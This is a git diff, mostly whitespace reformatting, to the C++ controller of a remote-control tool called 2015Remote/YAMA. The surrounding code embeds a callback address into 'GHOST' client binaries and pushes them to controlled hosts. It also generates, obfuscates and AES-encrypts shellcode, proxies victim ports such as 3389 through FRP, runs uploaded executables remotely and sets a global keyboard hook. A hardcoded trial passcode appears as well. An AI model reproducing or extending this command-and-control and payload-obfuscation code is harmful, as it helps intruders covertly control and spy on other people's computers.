***\n", user); - } - else { + } else { Mprintf("** [%p] Received unimplemented command: %d ***\n", user, int(szBuffer[0])); } return TRUE; diff --git a/server/2015Remote/2015Remote.cpp b/server/2015Remote/2015Remote.cpp index 0c3f0d8..71ece3e 100644 --- a/server/2015Remote/2015Remote.cpp +++ b/server/2015Remote/2015Remote.cpp @@ -416,7 +416,7 @@ BOOL CMy2015RemoteApp::InitInstance() SAFE_CLOSE_HANDLE(m_Mutex); m_Mutex = NULL; MessageBoxL("一个主控程序已经在运行，请检查任务管理器。", - "提示", MB_ICONINFORMATION); + "提示", MB_ICONINFORMATION); Mprintf("[InitInstance] 一个主控程序已经在运行，退出。"); return FALSE; } diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 6538b9d..72e7f03 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 0cba9dc..4361428 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -575,16 +575,16 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_COMMAND(ID_PROXY_PORT, &CMy2015RemoteDlg::OnProxyPort) ON_COMMAND(ID_HOOK_WIN, &CMy2015RemoteDlg::OnHookWin) ON_COMMAND(ID_RUNAS_SERVICE, &CMy2015RemoteDlg::OnRunasService) - ON_COMMAND(ID_HISTORY_CLIENTS, &CMy2015RemoteDlg::OnHistoryClients) - ON_COMMAND(ID_BACKUP_DATA, &CMy2015RemoteDlg::OnBackupData) - ON_COMMAND(ID_PLUGIN_REQUEST, &CMy2015RemoteDlg::OnPluginRequest) - ON_COMMAND(ID_CHANGE_LANG, &CMy2015RemoteDlg::OnChangeLang) - ON_COMMAND(ID_IMPORT_DATA, &CMy2015RemoteDlg::OnImportData) - ON_COMMAND(ID_PROXY_PORT_STD, &CMy2015RemoteDlg::OnProxyPortStd) - ON_COMMAND(ID_CHOOSE_LANG_DIR, &CMy2015RemoteDlg::OnChooseLangDir) - ON_COMMAND(ID_LOCATION_QQWRY, &CMy2015RemoteDlg::OnLocationQqwry) - ON_COMMAND(ID_LOCATION_IP2REGION, &CMy2015RemoteDlg::OnLocationIp2region) - END_MESSAGE_MAP() + ON_COMMAND(ID_HISTORY_CLIENTS, &CMy2015RemoteDlg::OnHistoryClients) + ON_COMMAND(ID_BACKUP_DATA, &CMy2015RemoteDlg::OnBackupData) + ON_COMMAND(ID_PLUGIN_REQUEST, &CMy2015RemoteDlg::OnPluginRequest) + ON_COMMAND(ID_CHANGE_LANG, &CMy2015RemoteDlg::OnChangeLang) + ON_COMMAND(ID_IMPORT_DATA, &CMy2015RemoteDlg::OnImportData) + ON_COMMAND(ID_PROXY_PORT_STD, &CMy2015RemoteDlg::OnProxyPortStd) + ON_COMMAND(ID_CHOOSE_LANG_DIR, &CMy2015RemoteDlg::OnChooseLangDir) + ON_COMMAND(ID_LOCATION_QQWRY, &CMy2015RemoteDlg::OnLocationQqwry) + ON_COMMAND(ID_LOCATION_IP2REGION, &CMy2015RemoteDlg::OnLocationIp2region) +END_MESSAGE_MAP() // CMy2015RemoteDlg 消息处理程序 @@ -603,7 +603,7 @@ void CMy2015RemoteDlg::OnIconNotify(WPARAM wParam, LPARAM lParam) case WM_RBUTTONDOWN: { CMenu Menu; Menu.LoadMenu(IDR_MENU_NOTIFY); - TranslateMenu(&Menu); + TranslateMenu(&Menu); CPoint Point; GetCursorPos(&Point); SetForegroundWindow(); //设置当前窗口 @@ -769,12 +769,12 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName v[RES_CLIENT_PUBIP].empty() ? strIP : v[RES_CLIENT_PUBIP].c_str(), }; auto id = CONTEXT_OBJECT::CalculateID(data); - auto id_str = std::to_string(id); + auto id_str = std::to_string(id); if (v[RES_CLIENT_ID].empty()) { - v[RES_CLIENT_ID] = id_str; - }else if (id_str != v[RES_CLIENT_ID]) { + v[RES_CLIENT_ID] = id_str; + } else if (id_str != v[RES_CLIENT_ID]) { Mprintf("上线消息 - 主机ID错误: calc=%llu, recv=%s, IP=%s, Path=%s\n", - id, v[RES_CLIENT_ID].c_str(), strIP.GetString(), path.GetString()); + id, v[RES_CLIENT_ID].c_str(), strIP.GetString(), path.GetString()); } bool modify = false, needConvert = true; CString loc = m_ClientMap->GetClientMapData(id, MAP_LOCATION); @@ -782,10 +782,10 @@ VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName loc = v[RES_CLIENT_LOC].c_str(); if (loc.IsEmpty()) { loc = m_IPConverter->GetGeoLocation(data[ONLINELIST_IP].GetString()).c_str(); - needConvert = !m_HasLocDB; + needConvert = !m_HasLocDB; } } - // TODO: Remove SafeUtf8ToAnsi after migrating to UTF-8 + // TODO: Remove SafeUtf8ToAnsi after migrating to UTF-8 if (needConvert) loc = SafeUtf8ToAnsi(loc.GetString()).c_str(); bool flag = strIP == "127.0.0.1" && !v[RES_CLIENT_PUBIP].empty(); @@ -1148,9 +1148,9 @@ BOOL CMy2015RemoteDlg::OnInitDialog() g_hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, AfxGetInstanceHandle(), 0); UPDATE_SPLASH(20, "正在加载IP数据库..."); - int locType = THIS_CFG.GetInt("settings", "IPLocType", 0); - char path[MAX_PATH] = {}; - GetModuleFileNameA(NULL, path, MAX_PATH); + int locType = THIS_CFG.GetInt("settings", "IPLocType", 0); + char path[MAX_PATH] = {}; + GetModuleFileNameA(NULL, path, MAX_PATH); switch (locType) { case QQWry: GET_FILEPATH(path, "qqwry.dat"); @@ -1161,11 +1161,11 @@ BOOL CMy2015RemoteDlg::OnInitDialog() m_IPConverter = LoadFileIp2Region(path); break; } - m_HasLocDB = m_IPConverter != nullptr; + m_HasLocDB = m_IPConverter != nullptr; if (!m_HasLocDB) { m_IPConverter = new IPConverter(); //default - } - Mprintf("IP数据库加载: %s\n", m_HasLocDB ? "succeed" : "failed"); + } + Mprintf("IP数据库加载: %s\n", m_HasLocDB ? "succeed" : "failed"); UPDATE_SPLASH(25, "正在初始化视频墙..."); m_GroupList = {"default"}; @@ -1363,18 +1363,18 @@ DWORD WINAPI CMy2015RemoteDlg::StartFrpClient(LPVOID param) #endif std::string ip = THIS_CFG.GetStr("settings", "master", ""); CString tip = !ip.empty() && ip != This->m_IPConverter->getPublicIP() ? - CString(ip.c_str()) + _L(" 必须是\"公网IP\"或反向代理服务器IP") : - _L("请设置\"公网IP\"，或使用反向代理服务器的IP"); + CString(ip.c_str()) + _L(" 必须是\"公网IP\"或反向代理服务器IP") : + _L("请设置\"公网IP\"，或使用反向代理服务器的IP"); tip += usingFRP ? _TR("[使用FRP]") : _TR("[未使用FRP]"); CharMsg* msg = new CharMsg(tip); This->PostMessageA(WM_SHOWMESSAGE, (WPARAM)msg, NULL); - auto langDir = THIS_CFG.GetStr("settings", "LangDir", "./lang"); - langDir = langDir.empty() ? "./lang" : langDir; - if (!PathFileExists(langDir.c_str())) { - CharMsg* msg = new CharMsg(_TR("请通过“扩展”菜单指定语言包目录以支持多语言")); - This->PostMessageA(WM_SHOWMESSAGE, (WPARAM)msg, NULL); - } + auto langDir = THIS_CFG.GetStr("settings", "LangDir", "./lang"); + langDir = langDir.empty() ? "./lang" : langDir; + if (!PathFileExists(langDir.c_str())) { + CharMsg* msg = new CharMsg(_TR("请通过“扩展”菜单指定语言包目录以支持多语言")); + This->PostMessageA(WM_SHOWMESSAGE, (WPARAM)msg, NULL); + } if (!This->m_HasLocDB) { CharMsg* msg = new CharMsg(_TR("请将IP数据库文件放于当前程序目录")); This->PostMessageA(WM_SHOWMESSAGE, (WPARAM)msg, NULL); @@ -1459,9 +1459,9 @@ void CMy2015RemoteDlg::ApplyFrpSettings() } int fileServerPort = THIS_CFG.GetInt("settings", "FileSvrPort", 80); std::string name = "YAMA-FileServer"; - cfg.SetStr(name, "type", "tcp"); - cfg.SetInt(name, "local_port", fileServerPort); - cfg.SetInt(name, "remote_port", fileServerPort); + cfg.SetStr(name, "type", "tcp"); + cfg.SetInt(name, "local_port", fileServerPort); + cfg.SetInt(name, "remote_port", fileServerPort); } void CMy2015RemoteDlg::OnSysCommand(UINT nID, LPARAM lParam) @@ -1626,27 +1626,28 @@ void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent) } if (nIDEvent == TIMER_HEARTBEAT_CHECK && m_settings.ReportInterval > 0) { CheckHeartbeat(); - } + } __super::OnTimer(nIDEvent); } -void CMy2015RemoteDlg::CheckHeartbeat() { - CLock lock(m_cs); +void CMy2015RemoteDlg::CheckHeartbeat() +{ + CLock lock(m_cs); auto now = time(0); - int HEARTBEAT_TIMEOUT = max(30, m_settings.ReportInterval * 3); + int HEARTBEAT_TIMEOUT = max(30, m_settings.ReportInterval * 3); for (auto it = m_HostList.begin(); it != m_HostList.end(); ) { context* ContextObject = *it; if (now - ContextObject->GetLastHeartbeat() > HEARTBEAT_TIMEOUT) { auto host = ContextObject->GetAdditionalData(RES_CLIENT_PUBIP); - host = host.IsEmpty() ? std::to_string(ContextObject->GetClientID()).c_str() : host; + host = host.IsEmpty() ? std::to_string(ContextObject->GetClientID()).c_str() : host; Mprintf("Client %s[%llu] heartbeat timeout!!! \n", host, ContextObject->GetClientID()); - PostMessageA(WM_SHOWNOTIFY, (WPARAM)new CharMsg("主机掉线"), - (LPARAM)new CharMsg("主机长时间无心跳: " + host)); + PostMessageA(WM_SHOWNOTIFY, (WPARAM)new CharMsg("主机掉线"), + (LPARAM)new CharMsg("主机长时间无心跳: " + host)); it = m_HostList.erase(it); ContextObject->CancelIO(); for (int i = 0, n = m_CList_Online.GetItemCount(); i < n; i++) { - auto lParam = m_CList_Online.GetItemData(i); + auto lParam = m_CList_Online.GetItemData(i); if (lParam == (LPARAM)ContextObject) { m_CList_Online.DeleteItem(i); break; @@ -1655,7 +1656,7 @@ void CMy2015RemoteDlg::CheckHeartbeat() { } else { ++it; } - } + } } void CMy2015RemoteDlg::DeletePopupWindow(BOOL bForce) @@ -1663,8 +1664,7 @@ void CMy2015RemoteDlg::DeletePopupWindow(BOOL bForce) if (!m_pFloatingTip) return; - if (!bForce && ::IsWindow(m_pFloatingTip->GetSafeHwnd())) - { + if (!bForce && ::IsWindow(m_pFloatingTip->GetSafeHwnd())) { CPoint pt; GetCursorPos(&pt); CRect rc; @@ -1874,17 +1874,17 @@ void CMy2015RemoteDlg::OnOnlineUpdate() int iItem = m_CList_Online.GetNextSelectedItem(Pos); ContextObject = (context*)m_CList_Online.GetItemData(iItem); } - LeaveCriticalSection(&m_cs); + LeaveCriticalSection(&m_cs); if (n != 1 || !ContextObject) { - MessageBoxL(_T("请选择一个被控程序进行升级!"), _T("提示"), MB_ICONWARNING); + MessageBoxL(_T("请选择一个被控程序进行升级!"), _T("提示"), MB_ICONWARNING); return; } if (IDYES != MessageBoxL(_T("确定升级选定的被控程序吗?\n需受控程序支持方可生效!"), - _T("提示"), MB_ICONQUESTION | MB_YESNO)) + _T("提示"), MB_ICONQUESTION | MB_YESNO)) return; PBYTE buffer = nullptr; - ULONGLONG fileSize = 0; - CString clientType = ContextObject->GetAdditionalData(RES_CLIENT_TYPE).GetString(); + ULONGLONG fileSize = 0; + CString clientType = ContextObject->GetAdditionalData(RES_CLIENT_TYPE).GetString(); if (clientType == "EXE") { CUpdateDlg dlg(this); if (dlg.DoModal() != IDOK) @@ -1895,7 +1895,7 @@ void CMy2015RemoteDlg::OnOnlineUpdate() std::string stem = path.stem().string(); std::string dirName = path.parent_path().filename().string(); BYTE* szBuffer = ReadResource(dlg.m_nSelected ? (is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86) : - (is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86), dwFileSize); + (is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86), dwFileSize); CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN }; int iOffset = MemoryFind((char*)szBuffer, (char*)g_ConnectAddress.Flag(), dwFileSize, g_ConnectAddress.FlagLen()); if (iOffset == -1) { @@ -1915,22 +1915,20 @@ void CMy2015RemoteDlg::OnOnlineUpdate() strcpy_s(dst->installDir, dirName.c_str()); strcpy_s(dst->installName, stem.c_str()); - fileSize = dwFileSize; + fileSize = dwFileSize; buffer = new BYTE[fileSize + 9]; - buffer[0] = COMMAND_UPDATE; + buffer[0] = COMMAND_UPDATE; memcpy(buffer + 1, &fileSize, 8); - memcpy(buffer + 9, szBuffer, fileSize); - SAFE_DELETE_ARRAY(szBuffer); - } - else if (clientType == "DLL") { + memcpy(buffer + 9, szBuffer, fileSize); + SAFE_DELETE_ARRAY(szBuffer); + } else if (clientType == "DLL") { Buffer* buf = m_ServerDLL[PAYLOAD_DLL_X64]; fileSize = buf->length(true) - 6; buffer = new BYTE[fileSize + 9]; buffer[0] = COMMAND_UPDATE; memcpy(buffer + 1, &fileSize, 8); memcpy(buffer + 9, buf->c_str() + 6, fileSize); - } - else if (clientType == "SC" || clientType == "MDLL") { + } else if (clientType == "SC" || clientType == "MDLL") { fileSize = 0; buffer = new BYTE[fileSize + 9](); buffer[0] = COMMAND_UPDATE; @@ -1999,7 +1997,8 @@ VOID CMy2015RemoteDlg::OnOnlineWindowManager() } // 是否继续远程控制：如果选择多个，则继续；如果选择单个且用户锁屏无SYSTEM权限，则提示 -BOOL CMy2015RemoteDlg::ShouldRemoteControl() { +BOOL CMy2015RemoteDlg::ShouldRemoteControl() +{ context* ContextObject = nullptr; EnterCriticalSection(&m_cs); int count = m_CList_Online.GetSelectedCount(); @@ -2019,7 +2018,8 @@ BOOL CMy2015RemoteDlg::ShouldRemoteControl() { return TRUE; } -void screenParamModifier(context* ctx, void* user){ +void screenParamModifier(context* ctx, void* user) +{ auto version = ctx->GetClientData(ONLINELIST_VERSION); if (!IsDateGreaterOrEqual(version, "Feb 8 2026")) { char* param = (char*)user; @@ -2129,7 +2129,7 @@ bool CMy2015RemoteDlg::CheckValid(int trail) if (pwd.IsEmpty() && IDOK != dlg.DoModal() || dlg.m_sPassword.IsEmpty()) { return false; } - deviceID = dlg.m_sDeviceID.GetBuffer(); + deviceID = dlg.m_sDeviceID.GetBuffer(); // 密码形式：20250209 - 20350209: SHA256: HostNum auto v = splitString(dlg.m_sPassword.GetBuffer(), '-'); @@ -2237,7 +2237,7 @@ VOID CMy2015RemoteDlg::SendAllCommand(PBYTE szBuffer, ULONG ulLength) VOID CMy2015RemoteDlg::OnAbout() { MessageBoxL("Copyleft (c) FTU 2019—2026" + _L("\n编译日期: ") + __DATE__ + - CString(sizeof(void*)==8 ? " (x64)" : " (x86)"), "关于", MB_ICONINFORMATION); + CString(sizeof(void*)==8 ? " (x64)" : " (x86)"), "关于", MB_ICONINFORMATION); } //托盘Menu @@ -2541,14 +2541,15 @@ bool IsDateInRange(const std::string& startDate, const std::string& endDate) auto isValidDate = [](const std::string& date) -> bool { if (date.length() != 8) return false; - for (char c : date) { + for (char c : date) + { if (c < '0' || c > '9') return false; } int month = std::stoi(date.substr(4, 2)); int day = std::stoi(date.substr(6, 2)); return (month >= 1 && month <= 12 && day >= 1 && day <= 31); - }; + }; if (!isValidDate(startDate) || !isValidDate(endDate)) return false; @@ -2574,12 +2575,13 @@ BOOL CMy2015RemoteDlg::AuthorizeClient(const std::string& sn, const std::string& std::string pwd = superAdmin ? superAdmin : m_superPass; BOOL b = VerifyMessage(pwd, (BYTE*)passcode.c_str(), passcode.length(), hmac); if (!b) return FALSE; - auto list = StringToVector(passcode, '-', 2); + auto list = StringToVector(passcode, '-', 2); return IsDateInRange(list[0], list[1]); } -BOOL IsTrail(const std::string& passcode) { - return passcode == "20260201-20280201-0020-be94-120d-20f9-919a"; +BOOL IsTrail(const std::string& passcode) +{ + return passcode == "20260201-20280201-0020-be94-120d-20f9-919a"; } VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject) @@ -2957,11 +2959,11 @@ LRESULT CMy2015RemoteDlg::OnUserOfflineMsg(WPARAM wParam, LPARAM lParam) } } if (host) { - CString ip = host->GetClientData(ONLINELIST_IP); + CString ip = host->GetClientData(ONLINELIST_IP); auto tm = host->GetAliveTime(); std::string aliveInfo = tm >= 86400 ? floatToString(tm / 86400.f) + " d" : - tm >= 3600 ? floatToString(tm / 3600.f) + " h" : - tm >= 60 ? floatToString(tm / 60.f) + " m" : floatToString(tm) + " s"; + tm >= 3600 ? floatToString(tm / 3600.f) + " h" : + tm >= 60 ? floatToString(tm / 60.f) + " m" : floatToString(tm) + " s"; ShowMessage(_TR("操作成功"), ip + " " + _TR("主机下线") + "[" + aliveInfo.c_str() + "]"); Mprintf("%s 主机下线 [%s]\n", ip, aliveInfo.c_str()); } @@ -2999,7 +3001,7 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) // 回复心跳 // if(0) { - BOOL isTrail = FALSE; + BOOL isTrail = FALSE; BOOL authorized = AuthorizeClient(hb.SN, hb.Passcode, hb.PwdHmac); if (authorized) { Mprintf("%s HMAC 校验成功: %llu\n", hb.Passcode, hb.PwdHmac); @@ -3028,7 +3030,7 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx) if (hb.Ping > 0) m_CList_Online.SetItemText(i, ONLINELIST_PING, std::to_string(hb.Ping).c_str()); m_CList_Online.SetItemText(i, ONLINELIST_VIDEO, hb.HasSoftware ? _TR("有") : _TR("无")); - id->SetLastHeartbeat(time(0)); + id->SetLastHeartbeat(time(0)); return; } } @@ -3534,7 +3536,7 @@ void CMy2015RemoteDlg::OnToolGenMaster() std::string master = THIS_CFG.GetStr("settings", "master", ""); if (master.empty()) { MessageBoxL("请通过菜单设置当前主控程序的公网地址（域名）! 此地址会写入即将生成的主控程序中。" - "\n只有正确设置公网地址，才能在线延长由本程序所生成的主控程序的有效期。", "提示", MB_ICONINFORMATION); + "\n只有正确设置公网地址，才能在线延长由本程序所生成的主控程序的有效期。", "提示", MB_ICONINFORMATION); } std::string masterHash(GetMasterHash()); if (m_superPass.empty()) { @@ -3768,8 +3770,7 @@ CString GetElapsedTime(LPCTSTR szBaseTime) { int nYear, nMonth, nDay, nHour, nMin, nSec; if (_stscanf_s(szBaseTime, _T("%d-%d-%d %d:%d:%d"), - &nYear, &nMonth, &nDay, &nHour, &nMin, &nSec) != 6) - { + &nYear, &nMonth, &nDay, &nHour, &nMin, &nSec) != 6) { return _T("0s"); } @@ -3812,10 +3813,10 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult) std::string expired = res[RES_EXPIRED_DATE]; expired = expired.empty() ? "" : " Expired on " + expired; strText.FormatL(_T("文件路径: %s%s %s%s\r\n系统信息: %s 位 %s 核心 %s GB %s\r\n启动信息: %s %s %s%s %s\r\n上线信息: %s %d %s\r\n客户信息: %s"), - res[RES_PROGRAM_BITS].IsEmpty() ? "" : res[RES_PROGRAM_BITS] + " 位 ", res[RES_FILE_PATH], res[RES_EXE_VERSION], processInfo, - res[RES_SYSTEM_BITS], res[RES_SYSTEM_CPU], res[RES_SYSTEM_MEM], res[RES_RESOLUTION], startTime, expired.c_str(), - res[RES_USERNAME], res[RES_ISADMIN] == "1" ? _L("[管理员]") : res[RES_ISADMIN].IsEmpty() ? "" : _L("[非管理员]"), GetElapsedTime(startTime), - ctx->GetProtocol().c_str(), ctx->GetServerPort(), typMap[type].c_str(), res[RES_CLIENT_ID]); + res[RES_PROGRAM_BITS].IsEmpty() ? "" : res[RES_PROGRAM_BITS] + " 位 ", res[RES_FILE_PATH], res[RES_EXE_VERSION], processInfo, + res[RES_SYSTEM_BITS], res[RES_SYSTEM_CPU], res[RES_SYSTEM_MEM], res[RES_RESOLUTION], startTime, expired.c_str(), + res[RES_USERNAME], res[RES_ISADMIN] == "1" ? _L("[管理员]") : res[RES_ISADMIN].IsEmpty() ? "" : _L("[非管理员]"), GetElapsedTime(startTime), + ctx->GetProtocol().c_str(), ctx->GetServerPort(), typMap[type].c_str(), res[RES_CLIENT_ID]); std::string geo = res[RES_CLIENT_PUBIP].IsEmpty() ? "" : m_IPConverter->GetGeoLocation(res[RES_CLIENT_PUBIP].GetString()); if (m_HasLocDB) { CString qqwryLoc; @@ -4009,7 +4010,7 @@ void shellcode_process(ObfsBase *obfs, bool load = false, const char* suffix = " obfs->ObfuscateBuffer(srcData, srcLen, key); if (obfs->WriteFile(CString(buffer) + suffix, srcData, srcLen, "Shellcode")) { AfxMessageBoxL("Shellcode 生成成功! 请自行编写调用程序。\r\n" + CString(buffer) + suffix, - MB_ICONINFORMATION); + MB_ICONINFORMATION); } } SAFE_DELETE_ARRAY(srcData); @@ -4052,8 +4053,8 @@ void CMy2015RemoteDlg::OnObfsShellcodeBin() void CMy2015RemoteDlg::OnShellcodeLoadTest() { if (MessageBoxL(CString("是否测试 ") + (sizeof(void*) == 8 ? "64位" : "32位") + " Shellcode 二进制文件? " - "请选择受信任的 bin 文件。\r\n测试未知来源的 Shellcode 可能导致程序崩溃，甚至存在 CC 风险。", - "提示", MB_ICONQUESTION | MB_YESNO) == IDYES) { + "请选择受信任的 bin 文件。\r\n测试未知来源的 Shellcode 可能导致程序崩溃，甚至存在 CC 风险。", + "提示", MB_ICONQUESTION | MB_YESNO) == IDYES) { ObfsBase obfs; shellcode_process(&obfs, true); } @@ -4063,8 +4064,8 @@ void CMy2015RemoteDlg::OnShellcodeLoadTest() void CMy2015RemoteDlg::OnShellcodeObfsLoadTest() { if (MessageBoxL(CString("是否测试 ") + (sizeof(void*) == 8 ? "64位" : "32位") + " Shellcode 二进制文件? " - "请选择受信任的 bin 文件。\r\n测试未知来源的 Shellcode 可能导致程序崩溃，甚至存在 CC 风险。", - "提示", MB_ICONQUESTION | MB_YESNO) == IDYES) { + "请选择受信任的 bin 文件。\r\n测试未知来源的 Shellcode 可能导致程序崩溃，甚至存在 CC 风险。", + "提示", MB_ICONQUESTION | MB_YESNO) == IDYES) { Obfs obfs; shellcode_process(&obfs, true); } @@ -4081,8 +4082,8 @@ void CMy2015RemoteDlg::OnShellcodeAesBin() void CMy2015RemoteDlg::OnShellcodeTestAesBin() { if (MessageBoxL(CString("是否测试 ") + (sizeof(void*) == 8 ? "64位" : "32位") + " Shellcode 二进制文件? " - "请选择受信任的 bin 文件。\r\n测试未知来源的 Shellcode 可能导致程序崩溃，甚至存在 CC 风险。", - "提示", MB_ICONQUESTION | MB_YESNO) == IDYES) { + "请选择受信任的 bin 文件。\r\n测试未知来源的 Shellcode 可能导致程序崩溃，甚至存在 CC 风险。", + "提示", MB_ICONQUESTION | MB_YESNO) == IDYES) { ObfsAes obfs; shellcode_process(&obfs, true); } @@ -4328,8 +4329,9 @@ void CMy2015RemoteDlg::OnSelchangeGroupTab(NMHDR* pNMHDR, LRESULT* pResult) *pResult = 0; } -void RefreshGroupList(context* ctx, void* user) { - CString* groupName = (CString*)user; +void RefreshGroupList(context* ctx, void* user) +{ + CString* groupName = (CString*)user; ctx->SetGroupName(groupName->GetString()); } @@ -4347,7 +4349,7 @@ void CMy2015RemoteDlg::OnOnlineRegroup() BYTE cmd[50] = { CMD_SET_GROUP }; memcpy(cmd + 1, dlg.m_str, dlg.m_str.GetLength()); SendSelectedCommand(cmd, sizeof(cmd), RefreshGroupList, &(dlg.m_str)); - CAutoLock lock(m_cs); + CAutoLock lock(m_cs); m_selectedGroup = dlg.m_str; if (m_GroupList.end() == m_GroupList.find(m_selectedGroup)) { m_GroupTab.InsertItem(m_GroupList.size(), m_selectedGroup.c_str()); @@ -4363,7 +4365,7 @@ void CMy2015RemoteDlg::OnOnlineRegroup() nmhdr.code = TCN_SELCHANGE; SendMessage(WM_NOTIFY, nmhdr.idFrom, (LPARAM)&nmhdr); break; - } + } } LoadListData(m_selectedGroup); } @@ -4431,7 +4433,7 @@ void CMy2015RemoteDlg::OnExecuteDownload() void CMy2015RemoteDlg::OnExecuteUpload() { CFileDialog dlg(TRUE, NULL, NULL, OFN_HIDEREADONLY | OFN_FILEMUSTEXIST, - _TR("可执行文件 (*.exe)|*.exe||"), this); + _TR("可执行文件 (*.exe)|*.exe||"), this); if (dlg.DoModal() != IDOK) return; @@ -4562,16 +4564,18 @@ void CMy2015RemoteDlg::RemoveRemoteWindow(HWND wnd) LeaveCriticalSection(&m_cs); } -void CMy2015RemoteDlg::UpdateActiveRemoteSession(CDialogBase *sess){ - EnterCriticalSection(&m_cs); +void CMy2015RemoteDlg::UpdateActiveRemoteSession(CDialogBase *sess) +{ + EnterCriticalSection(&m_cs); m_pActiveSession = sess; - LeaveCriticalSection(&m_cs); + LeaveCriticalSection(&m_cs); } -CDialogBase* CMy2015RemoteDlg::GetActiveRemoteSession() { - EnterCriticalSection(&m_cs); - auto sess = m_pActiveSession; - LeaveCriticalSection(&m_cs); +CDialogBase* CMy2015RemoteDlg::GetActiveRemoteSession() +{ + EnterCriticalSection(&m_cs); + auto sess = m_pActiveSession; + LeaveCriticalSection(&m_cs); return sess; } @@ -4711,8 +4715,8 @@ LRESULT CALLBACK CMy2015RemoteDlg::LowLevelKeyboardProc(int nCode, WPARAM wParam } else if (g_2015RemoteDlg->GetActiveRemoteSession() && operateWnd) { auto screen = (CScreenSpyDlg*)(g_2015RemoteDlg->GetActiveRemoteSession()); if (!screen) { - Mprintf("【Ctrl+V】 [远程 -> 本地] 远程桌面窗口状态已经失效\n"); - break; + Mprintf("【Ctrl+V】 [远程 -> 本地] 远程桌面窗口状态已经失效\n"); + break; } if (!screen->m_bIsCtrl) { Mprintf("【Ctrl+V】 [远程 -> 本地] 窗口不是控制状态: %s\n", screen->m_IPAddress); @@ -4934,60 +4938,59 @@ std::string GetAuthKey(const char* token, long long timestamp) // 例如代理3389端口，即可通过 mstsc.exe 进行远程访问 void CMy2015RemoteDlg::ProxyClientTcpPort(bool isStandard) { - BOOL useFrp = THIS_CFG.GetInt("frp", "UseFrp", 0); - std::string pwd = THIS_CFG.GetStr("frp", "token", ""); - std::string ip = THIS_CFG.GetStr("settings", "master", ""); - if (!useFrp || pwd.empty() || ip.empty()) { - MessageBoxL("需要正确启用FRP反向代理方可使用此功能!", "提示", MB_ICONINFORMATION); - return; - } + BOOL useFrp = THIS_CFG.GetInt("frp", "UseFrp", 0); + std::string pwd = THIS_CFG.GetStr("frp", "token", ""); + std::string ip = THIS_CFG.GetStr("settings", "master", ""); + if (!useFrp || pwd.empty() || ip.empty()) { + MessageBoxL("需要正确启用FRP反向代理方可使用此功能!", "提示", MB_ICONINFORMATION); + return; + } - if (!isStandard && IDYES != MessageBoxL("如果没有定制的FRPS服务端程序，请勿点击此菜单! 是否继续?", "提示", MB_YESNO)) - return; - if (isStandard && IDYES != MessageBoxL("此功能会将FRP的token传递到客户端使用，谨慎操作! 是否继续?", "提示", MB_YESNO)) - return; + if (!isStandard && IDYES != MessageBoxL("如果没有定制的FRPS服务端程序，请勿点击此菜单! 是否继续?", "提示", MB_YESNO)) + return; + if (isStandard && IDYES != MessageBoxL("此功能会将FRP的token传递到客户端使用，谨慎操作! 是否继续?", "提示", MB_YESNO)) + return; - CInputDialog dlg(this); - dlg.Init(_TR("代理端口"), _TR("请输入客户端端口:")); - if (IDOK != dlg.DoModal() || atoi(dlg.m_str) <= 0 || atoi(dlg.m_str) >= 65536) { - return; - } - uint64_t timestamp = time(nullptr); - std::string key = isStandard ? pwd : GetAuthKey(pwd.c_str(), timestamp); - int serverPort = THIS_CFG.GetInt("frp", "server_port", 7000); - int localPort = atoi(dlg.m_str); - auto frpc = ReadFrpcDll(isStandard ? CALLTYPE_FRPC_STDCALL : CALLTYPE_FRPC_CALL); - FrpcParam param(key.c_str(), timestamp, ip.c_str(), serverPort, localPort, localPort); - EnterCriticalSection(&m_cs); - POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition(); - BOOL sent = FALSE; + CInputDialog dlg(this); + dlg.Init(_TR("代理端口"), _TR("请输入客户端端口:")); + if (IDOK != dlg.DoModal() || atoi(dlg.m_str) <= 0 || atoi(dlg.m_str) >= 65536) { + return; + } + uint64_t timestamp = time(nullptr); + std::string key = isStandard ? pwd : GetAuthKey(pwd.c_str(), timestamp); + int serverPort = THIS_CFG.GetInt("frp", "server_port", 7000); + int localPort = atoi(dlg.m_str); + auto frpc = ReadFrpcDll(isStandard ? CALLTYPE_FRPC_STDCALL : CALLTYPE_FRPC_CALL); + FrpcParam param(key.c_str(), timestamp, ip.c_str(), serverPort, localPort, localPort); + EnterCriticalSection(&m_cs); + POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition(); + BOOL sent = FALSE; const char* validDate = isStandard ? "Jan 29 2026" : "Dec 22 2025"; - while (Pos) { - int iItem = m_CList_Online.GetNextSelectedItem(Pos); - context* ctx = (context*)m_CList_Online.GetItemData(iItem); - if (!ctx->IsLogin()) - continue; - CString date = ctx->GetClientData(ONLINELIST_VERSION); - if (IsDateGreaterOrEqual(date, validDate)) { - Buffer* buf = frpc->Data; - BYTE cmd[1 + sizeof(DllExecuteInfoNew)] = { 0 }; - memcpy(cmd, buf->Buf(), 1 + sizeof(DllExecuteInfoNew)); - DllExecuteInfoNew* p = (DllExecuteInfoNew*)(cmd + 1); - SetParameters(p, (char*)¶m, sizeof(param)); - ctx->Send2Client(cmd, 1 + sizeof(DllExecuteInfoNew)); - sent = TRUE; - } - else { - PostMessageA(WM_SHOWNOTIFY, (WPARAM)new CharMsg(_L("版本不支持")), - (LPARAM)new CharMsg(_L("客户端版本最低要求: ") + CString(validDate))); - } - break; - } - LeaveCriticalSection(&m_cs); - 